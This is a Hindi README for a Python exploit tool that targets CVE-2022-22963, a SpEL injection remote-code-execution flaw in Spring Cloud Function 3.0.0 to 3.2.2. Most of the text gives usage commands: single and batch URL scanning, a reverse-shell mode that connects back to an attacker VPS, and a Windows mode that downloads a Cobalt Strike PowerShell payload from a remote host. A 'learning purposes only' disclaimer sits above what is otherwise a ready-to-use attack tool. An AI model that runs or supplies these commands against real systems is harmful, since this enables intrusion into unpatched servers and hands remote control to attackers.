
Spring Cloud Function SPEL अभिव्यक्ति इंजेक्शन भेद्यता(CVE-2022-22963)
स्प्रिंग फ्रेमवर्क आधुनिक जावा-आधारित एंटरप्राइज़ अनुप्रयोगों (किसी भी प्रकार के डिप्लॉयमेंट प्लेटफॉर्म पर) के लिए एक व्यापक प्रोग्रामिंग और कॉन्फ़िगरेशन मॉडल प्रदान करता है।
स्प्रिंग क्लाउड में सर्वरलेस फ्रेमवर्क स्प्रिंग क्लाउड फंक्शन के RoutingFunction क्लास की apply विधि, रिक्वेस्ट हेडर में मौजूद "spring.cloud.function.routing-expression" पैरामीटर को Spel एक्सप्रेशन के रूप में प्रोसेस करती है, जिससे Spel एक्सप्रेशन इंजेक्शन होता है। हमलावर इस भेद्यता के माध्यम से मनमाना कोड निष्पादित कर सकते हैं।
प्रभावित दायरा: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
स्क्रिप्ट केवल सीखने के उद्देश्य से है; अन्य उपयोगों से उत्पन्न होने वाली कानूनी ज़िम्मेदारी लेखक से पूरी तरह असंबद्ध है
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u किसी एकल url पर dnslog परीक्षण निर्दिष्ट करें
-e रिवर्स शेल मोड निर्दिष्ट करें
-s टार्गेट होस्ट का ऑपरेटिंग सिस्टम निर्दिष्ट करें, डिफ़ॉल्ट linux है, पैरामीटर win/linux हैं -i और -c पैरामीटर के साथ उपयोग करें
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874 vulfocus का डॉकर टार्गेट रेंज है, जिसमें nslookup कमांड इंस्टॉल नहीं है, इसलिए dnslog परीक्षण विफल हो जाता है
- बैच url पते वेबसाइट की रूट डायरेक्टरी होने चाहिए। http://192.168.50.222:8080/ स्थानीय रूप से बनाए गए टार्गेट रेंज की रूट डायरेक्टरी है। test डायरेक्टरी जोड़ने से poc विफल हो जाएगा
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c cs द्वारा जनरेट किए गए powershell ऑनलाइन कोड का पता निर्दिष्ट करता है, इसे -s "win" के साथ उपयोग किया जाना चाहिए। -c विकल्प के लिए स्क्रिप्ट को windows पर चलाना आवश्यक है; स्क्रिप्ट poc एन्कोडिंग के लिए powershell को कॉल करेगी


